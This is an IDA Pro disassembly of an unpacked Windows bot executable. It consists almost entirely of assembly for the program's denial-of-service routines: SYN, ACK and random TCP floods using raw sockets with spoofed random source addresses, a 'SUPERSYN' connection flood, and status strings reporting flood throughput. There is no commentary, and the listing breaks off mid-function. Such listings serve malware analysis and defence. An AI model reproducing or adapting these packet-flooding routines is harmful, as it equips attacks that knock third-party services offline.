; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : D529B5C87FBFF0FCD2C80F7C5F15CBDC ; File Name : u:\work\d529b5c87fbff0fcd2c80f7c5f15cbdc_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0008C000 ( 573440.) ; Section size in file : 0008C000 ( 573440.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A17o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call near ptr 25D0889h nop push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi call near ptr 25D0362h nop pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43F668 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43F668 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_14], ax call dword_43F664 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43F668 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 25E0000h lea eax, [ebp+var_1C] push eax nop call near ptr 25D0969h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 25D0969h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43F700 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43F5C8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C05o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43F5FC push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43F5FC push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43F6A8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_43C3E8, 45h call dword_43F668 cmp [ebp+var_2C], edi mov word_43C3EA, ax mov word_43C3EC, bx mov word_43C3EE, di mov byte_43C3F0, 80h mov byte_43C3F1, bl mov word_43C3F2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_43C3F4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov dword_43C3F4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_43C3F8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_43C3FE, di mov word_43C402, bx inc edx mov word_43C400, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43C404 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43C3E8 push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25D0362h sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25D0362h pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43F668 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_401954 push 64h nop call near ptr 25E041Ch lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3908o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 25D0362h nop pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43F668 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43F668 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43F668 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 25E0000h lea eax, [ebp+var_8] push eax call near ptr 25D0969h nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 25D0969h mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43F700 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43F5C8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax call sub_417302 